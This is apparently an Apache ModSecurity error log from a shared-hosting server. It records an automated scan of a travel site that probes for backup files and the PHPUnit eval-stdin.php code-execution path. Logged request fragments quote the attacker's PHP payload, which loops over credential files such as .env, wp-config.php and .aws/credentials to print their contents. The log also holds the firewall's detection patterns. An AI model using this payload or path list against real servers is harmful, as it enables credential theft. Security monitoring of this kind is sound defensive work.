[Fri Jul 17 08:55:18.974458 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 70)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnobYoYGvYnmnM82CJgAAAAs"]
[Fri Jul 17 08:55:18.975009 2026] [hostinglimits:warn] [pid 2029573:tid 2029573] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029573) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.975286 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 70 - SQLI=0,XSS=0,RFI=0,LFI=20,RCE=40,PHPI=10,HTTP=0,SESS=0): individual paranoia level scores: 70, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnobYoYGvYnmnM82CJgAAAAs"]
[Fri Jul 17 08:55:18.983869 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.992367 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.993206 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.995860 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.997988 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.000784 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.052150 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "\\\\.[^.~]+~(?:/.*|)$" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1081"] [id "920500"] [msg "Attempt to access a backup or working file"] [data ".php~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/local.php~"] [unique_id "almgn_wooI4qY7Jg93pVWQAAABM"]
[Fri Jul 17 08:55:19.052684 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/local.php~"] [unique_id "almgn_wooI4qY7Jg93pVWQAAABM"]
[Fri Jul 17 08:55:19.052826 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.052965 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgn_wooI4qY7Jg93pVWQAAABM"]
[Fri Jul 17 08:55:19.052993 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/local.php.bak"] [unique_id "almgn0kXT4NBqALj2lZ8uAAAABA"]
[Fri Jul 17 08:55:19.053472 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/local.php.bak"] [unique_id "almgn0kXT4NBqALj2lZ8uAAAABA"]
[Fri Jul 17 08:55:19.053643 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.053827 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgn0kXT4NBqALj2lZ8uAAAABA"]
[Fri Jul 17 08:55:19.055729 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/local.php.old"] [unique_id "almgnxHlOGcokz2QIwTTEgAAAAM"]
[Fri Jul 17 08:55:19.056269 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/local.php.old"] [unique_id "almgnxHlOGcokz2QIwTTEgAAAAM"]
[Fri Jul 17 08:55:19.056398 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.056533 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnxHlOGcokz2QIwTTEgAAAAM"]
[Fri Jul 17 08:55:19.059432 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.071502 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.097273 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: array('.env','../.env','../../.env','../../../.env','.env.local','.env.production','../.env.local','../.env.production','../../.env.production','wp-config.php','../wp-config.php','../../wp-config.php','config/app.php','config/database.php','../config/database.php','application/database.php','../application/database.php','../application/config.php','../application/extra/database.php','app/etc/env.php','sites/default/settings..."] [hostname "2s-travels.com"] [uri "/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgn0gVnBK6wAv37w6sQgAAABQ"]
[Fri Jul 17 08:55:19.097681 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: array('.env','../.env','../../.env','../../../.env','.env.local','.env.production','../.env.local','../.env.production','../../.env.production','wp-config.php','../wp-config.php','../../wp-config.php','config/app.php','config/database.php','../config/database.php','application/database.php','../application/database.php','../application/config.php','../application/extra/database.php','app/etc/env.php','sites/default/settings..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgn0gVnBK6wAv37w6sQgAAABQ"]
[Fri Jul 17 08:55:19.098127 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: array(.env ../.env ../../.env ../../../.env .env.local .env.production ../.env.local ../.env.production ../../.env.production wp-config.php ../wp-config.php ../../wp-config.php config/app.php config/database.php ../config/database.php application/database.php ../application/database.php ../application/config.php ../application/extra/database.php app/etc/env.php sites/default/settings.php configuration.php ../.aws/credential..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgn0gVnBK6wAv37w6sQgAAABQ"]
[Fri Jul 17 08:55:19.098724 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: .env','../../.env','../../../.env','.env.local','.env.production','../.env.local','../.env.production','../../.env.production','wp-config.php','../wp-config.php','../../wp-config.php','config/app.php','config/config/database.php','application/application/application/application/extra/database.php','app/etc/env.php','sites/default/.aws/credentials','/var/www/html/.env','/var/www/html/.env.local','/var/www/html/.env...."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgn0gVnBK6wAv37w6sQgAAABQ"]
[Fri Jul 17 08:55:19.099997 2026] [hostinglimits:warn] [pid 2029573:tid 2029573] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029573) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.100005 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|<\\\\(|>\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]* ..." at ARGS_NAMES:strlen($c)>8){echo "\\\\n--- FILE $f ---\\\\n";if(strpos($f,'environ')!. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "123"] [id "932100"] [msg "Remote Command Execution: Unix Command Injection"] [data "Matched Data: {echo \\x22\\x5cn--- FILE $f ---\\x5cn\\x22;if(strpos($f,'environ found within ARGS_NAMES:strlen($c)>8){echo \\x22\\x5c\\x5cn--- FILE $f ---\\x5c\\x5cn\\x22;if(strpos($f,'environ')!: strlen($c)>8){echo \\x22\\x5cn--- FILE $f ---\\x5cn\\x22;if(strpos($f,'environ')!"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/ [hostname "2s-travels.com"] [uri "/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgn0gVnBK6wAv37w6sQgAAABQ"]
[Fri Jul 17 08:55:19.101311 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|<\\\\(|>\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]* ..." at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "123"] [id "932100"] [msg "Remote Command Execution: Unix Command Injection"] [data "Matched Data: ;foreach found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: array('.env','../.env','../../.env','../../../.env','.env.local','.env.production','../.env.local','../.env.production','../../.env.production','wp-config.php','../wp-config.php','../../wp-config.php','config/app.php','config/database.php','../config/database.php','application/database.php','../application/database.php','../application/config.php','../application/extra/database.php','app/etc/env.php','si [hostname "2s-travels.com"] [uri "/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgn0gVnBK6wAv37w6sQgAAABQ"]
[Fri Jul 17 08:55:19.101435 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|<\\\\(|>\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]* ..." at ARGS:strlen($c)>8){echo "\\\\n--- FILE $f ---\\\\n";if(strpos($f,'environ')!. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "123"] [id "932100"] [msg "Remote Command Execution: Unix Command Injection"] [data "Matched Data: ;echo $c found within ARGS:strlen($c)>8){echo \\x22\\x5c\\x5cn--- FILE $f ---\\x5c\\x5cn\\x22;if(strpos($f,'environ')!: =false)$c=str_replace(\\x22\\x5c0\\x22,\\x22\\x5cn\\x22,$c);echo $c;}}?>"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgn0gVnBK6wAv37w6sQgAAABQ"]
[Fri Jul 17 08:55:19.101650 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\'\\"\\\\s]*(?:[\\\\w'\\"\\\\./]+/|[\\\\\\\\'\\"\\\\^]*\\\\w[\\\\\\\\'\\"\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w '\\"/\\\\\\\\]*\\\\\\\\)?[\\"\\\\^]*(?:m[\\"\\\\^]*(?:y[\\"\\\\^]*s[\\"\\\\^]*q[\\"\\\\^]*l(?:[\\"\\\\^]*(?:d[\\"\\\\^]*u[\\"\\\\^]*m[\\"\\\\^]*p(?:[\\"\\\\^]*s[\\"\\\\^ ..." at ARGS_NAMES:strlen($c)>8){echo "\\\\n--- FILE $f ---\\\\n";if(strpos($f,'environ')!. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "256"] [id "932110"] [msg "Remote Command Execution: Windows Command Injection"] [data "Matched Data: {echo found within ARGS_NAMES:strlen($c)>8){echo \\x22\\x5c\\x5cn--- FILE $f ---\\x5c\\x5cn\\x22;if(strpos($f,'environ')!: strlen($c)>8){echo \\x22\\x5cn--- FILE $f ---\\x5cn\\x22;if(strpos($f,'environ')!"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-windows"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgn0gVnBK6wAv37w6sQgAAABQ"]
[Fri Jul 17 08:55:19.102140 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\'\\"\\\\s]*(?:[\\\\w'\\"\\\\./]+/|[\\\\\\\\'\\"\\\\^]*\\\\w[\\\\\\\\'\\"\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w '\\"/\\\\\\\\]*\\\\\\\\)?[\\"\\\\^]*(?:m[\\"\\\\^]*(?:y[\\"\\\\^]*s[\\"\\\\^]*q[\\"\\\\^]*l(?:[\\"\\\\^]*(?:d[\\"\\\\^]*u[\\"\\\\^]*m[\\"\\\\^]*p(?:[\\"\\\\^]*s[\\"\\\\^ ..." at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "256"] [id "932110"] [msg "Remote Command Execution: Windows Command Injection"] [data "Matched Data: ;foreach found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: array('.env','../.env','../../.env','../../../.env','.env.local','.env.production','../.env.local','../.env.production','../../.env.production','wp-config.php','../wp-config.php','../../wp-config.php','config/app.php','config/database.php','../config/database.php','application/database.php','../application/database.php','../application/config.php','../application/extra/database.php','app/etc/env.php', [hostname "2s-travels.com"] [uri "/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgn0gVnBK6wAv37w6sQgAAABQ"]
